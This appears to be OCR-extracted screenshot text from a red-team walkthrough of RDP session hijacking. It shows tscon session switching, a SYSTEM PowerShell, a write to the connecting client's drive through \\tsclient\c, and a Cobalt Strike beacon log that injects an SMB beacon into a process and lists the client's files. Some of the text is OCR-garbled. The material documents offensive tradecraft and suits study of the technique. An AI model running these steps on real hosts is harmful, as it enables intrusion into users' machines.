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1% Task Manager — O >
File Options  View

Processes  Performance Users  Details  Services

- 6% 76%
User Status CPU Mermory
> n Administrator (17) 0.8% 97.3 MB
u serveradm (23) 0.8% 431.0 MB
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Task Manager

gtj;
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Enter the selected user's password

User name: Administrator

Password: | |

Cancel
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DarkCoderSc/PowerRunAsSystem: Run application as system with interactive system process

support (active Windows session)) [11]

Ps C:ywUsershAdministrator> Invoke-InteractiveSystemPowershell
ZWUsershAdministrators

EN Administrator: CWindows' System 32\ WindowsPowerShellw1.0\powershell exe

rstem32> whoami

IDLE TIME
1
1

1:3@ PM

LOGO
6 S:46 PM
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cmd /k tscon <[IIIII] ID> /dest: console
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2 [(MihyNuke (https://github.com/rossja/TinyNuke) [HiddenDesktop (https://github.com/WKL-
Sec/HiddenDesktop) [J BOF 111 RPH T T T T T

L Windows 10 x64 - VMware Workstation 16 Player (Non-commercial use only)

Player v

Recycle Bin
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Google

Client.exe
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5 & Remote Desktop Connection st
Remote Desktop | Remote Desktop
<) Connection "¢ Connection

Local devices and resources

General Displ Local Resources  Experience  Advanced
P P Choose the devices and resources on this computer that you want to

Remate audio use in your remote session.

Configure remote audio settings.
[JPors S
Settings... = [ Drives
[ Floppy Disk Drive (&)
Keyboard . o Local Disk (C:)
.. feply Windows key combinations: C]DVD Drive (D:} 555_X64FREE_EN-US_DVS
Only when using the full screen ~ [ Drives that | plug in later
_ [Qvideo capture devices
Example: ALT+TAB [TJCther supported Plug and Play (PnP) devices
Local devices and resources v
/  Choose the devices and resources that you want to use in
#2y)| yourremote session.
' Cancel

Printers Clipboard
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8> Rernote Desktop Connection =

! J Do you trust this remote connection?

This remate connection could ham your local or remote computer. Make sure that you trust the remote
computer before you connect.

Type: Femote Desktop Connection
Remote computer: 172.16.1.52

15¢)
] Dont ask me again for connections to this computer

Allow the remote computer to access the following resources on my computer:

Drives Clipboard
Printers

Changes to these options apply to this connection only.

& | Hide Details Cancel
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PS C:\Windowsh

Directory:

Length MName

Administrator
Public

echo pwned > puned.txt
1

Directory: \\tsclient\c

LastlWriteTime Length Name

PerflLogs
Program Files
Program Files (
Users
Windows

16 puned.txt
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2960 cmd.exe

1340 taskhostw.exe

78 svchost,exe

1064 rdpclip.exe

1340 sihost.exe

78 svchost.exe

1340 taskhostiw.exe

78 SecurityHealthService.exe
912 RuntimeBroker.exe

2060 ocomd.exe

IIS APPPOOL\DefaultAppPool
WHITE-BIRD\Serveradm
NT AUTHORITY“\SYSTEM
WEBO2\Administrator
WHITE-BIRD\Sserveradm
WHITE-BIRD\Serveradm
WHITE-BIRDY\Serveradm
NT AUTHORITY“\SYSTEM
WHITE-BIRD\Sserveradm
IIS APPPOOL\DefaultAppPool

beacon> inject 3860 x64 smb

[*] Tasked beac to inject windows/beacon_bind_pipe (\\.\pipevmojo.5 8052, 03078 798) into 3860 (x64)
[+] host called home, sent: 255578 bhytes

[+] established link to child beacon: 172.16.1.52

beacon> 1s
[*] Tasked beacon to list files in .

[+] host called home, sent: 19 bytes
[*] Listing: ‘\\tsclient\c\

Size Type Last Modified Name

dir 09/15/2018 00:19:00 $Recycle.Bin
dir 01/20/2023 19:43:56 Documents and Settings
dir 00/15/2018 PerfLogs
dir 1/20/2 : 12 Program Files
dir 1/20/: i 6 Program Files (x86)
dir 2/2 114:02 ProgramData
dir 1/20/2 144: 0 Recovery
dir 1/20/. 15: 8 System Volume Information
dir 1/20/2 : i Users
dir : 148 Windows
512mh fil 05,/08/2023 26 pagefile.sys
16b fil 06/07/2023 19:59:35 pwned.txt
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